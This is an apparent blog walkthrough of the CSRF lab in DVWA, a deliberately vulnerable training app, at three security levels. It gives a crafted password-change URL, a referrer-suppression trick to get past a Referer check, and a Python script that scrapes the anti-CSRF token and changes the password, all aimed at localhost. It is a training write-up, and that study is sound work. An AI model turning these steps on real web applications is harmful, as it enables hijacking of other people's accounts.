DVWA - Cross Site Request Forgery (Low/Med/High)

DVWA – Cross Site Request Forgery (Low/Med/High)

In this walk through, we will be going through the Cross Site Request Forgery (CSRF) vulnerability section from DVWA Labs. We will be exploring and learning about Cross Site Request Forgery attacks and what makes an application vulnerable to it. We will start with the security level as Low and will gradually increase the difficulty as we progress further. So, let’s get started with the Hacking without any delay.

Cross Site Request Forgery

Cross Site Request Forgery Attacks:

Cross Site Request Forgery (CSRF) is an attack where an attacker tricks the victim to perform actions that they do not intend to perform in a web application in which they’re currently authenticated. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other. For example, a user is authenticated to his bank website and the session persists in his browser. An attacker will misuse this and will form a crafty link containing a request for the user’s bank to transfer funds to attacker’s bank account. When the victim clicks on the malicious link unknowingly, a request is made from the victim’s browser holding the session for his bank account to the user’s bank for the transfer of funds to the attacker. In this way, attacker can perform variety of operations on user’s behalf and thus getting full control.

Security: Low (CSRF)

  • Setting the security to low and enabling the PHPIDS.

Security level low

  • There is change password functionality which takes a new password for the user.

Password Changed

  • I intercepted the request via Burpsuite and it is using a GET request with new password and confirmed password as parameter.

Burpsuite intercept

  • As per the source code, there is no mitigation or filtering done in the supposed input.

Low.php

  • We can exploit this easily, let’s change the password parameter in the URL to something we want and then send the URL to the victim. Once executed in the victim’s browser where the cookies has been stored, the password gets changed.

localhost/vulnerabilities/csrf/?password_new=pass123&password_conf=pass123&Change=Change

password change URL

Password Changed

Security: Medium (CSRF)

  • Setting the security to Medium and enabling the PHPIDS.

Security level medium

  • I intercepted the request via Burpsuite and it is using a GET request with new password and confirmed password as parameter, same as the low security level.

Burpsuite intercept

Password changed

  • Let’s change the password parameter in the URL to something we want and then send the URL to the victim.

localhost/vulnerabilities/csrf/?password_new=pass123&password_conf=pass123&Change=Change

  • I got struck with an error on this.

CSRF request didn't look correct

  • I checked the source code and found out that the application is checking for a Referrer header. We have to bypass it in order to achieve the CSRF.

medium.php

  • We can bypass it by appending a meta tag for referrer and setting it to none. Let’s do this in our burpsuite request.

<meta name="referrer" content="never">

Burpsuite intercept

  • We got a 200 OK and password has been been changed.

Burpsuite Response

Password Changed

Security: High (CSRF)

  • Setting the security to Medium and enabling the PHPIDS.

Security level high

  • I intercepted the request via Burpsuite and it is using a GET request with new password and confirmed password as parameter, but with a user token this time which is being changed for every request.

Burpsuite intercept

  • I analyzed the source code and it confirmed that it is using Anti-CSRF tokens for every request along with the session token which is our cookie.

high.php

  • In order to exploit it we have to extract the token from the HTML source and then append it our request. I made the below python script to automate this. The script pulls the user_token from the page source, append it in a GET request with our desired password and check for a success message of “Password Changed” after its execution.

page source code

import requests  
from bs4 import BeautifulSoup as Soup  
  
  
url = 'http://127.0.0.1/vulnerabilities/csrf/'  
success_message = "Password Changed."  
cookie = {'security': 'high', 'PHPSESSID': 'sgecin08ngk8pp4oejdiqol7h6'}  
s = requests.Session()  
target_page = s.get(url, cookies=cookie)  
  
def checksuccess(html):  
soup = Soup(html, features="html.parser")  
search = soup.findAll(string=success_message)  
if search:  
print("[+] Password Changed successfully !!!")  
else:  
print("[-] Did not worked !")  
  
  
page_source = target_page.text  
pagesoup = Soup(page_source, features="html.parser")  
csrf_token = pagesoup.findAll(attrs={"name": "user_token"})[0].get('value')  
  
payload = {'password_new': 'pass1234', 'password_conf': 'pass1234', 'Change': 'Change', 'user_token': csrf_token }  # Change the password to you choice
csrf = s.get(url, cookies=cookie, params=payload)  
success = checksuccess(csrf.text)

csrf.py

Also Read: DVWA – Command Injection (Low/Med/High)

Conclusion:

DVWA - Cross Site Request Forgery (Low/Med/High)

So, we finally completed all the security levels for the DVWA Cross Site Request Forgery Vulnerability. We looked into the various ways how application has been set up in various levels and how we can bypass the security controls implemented. Next, we can mitigate the potential CSRF attacks by enforcing CSRF tokens, using Same-site cookies and at last, Referer-based Validation. On that note, i will take your leave and will meet you in next one with another DVWA vulnerability writeup, till then “Keep Hacking”.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top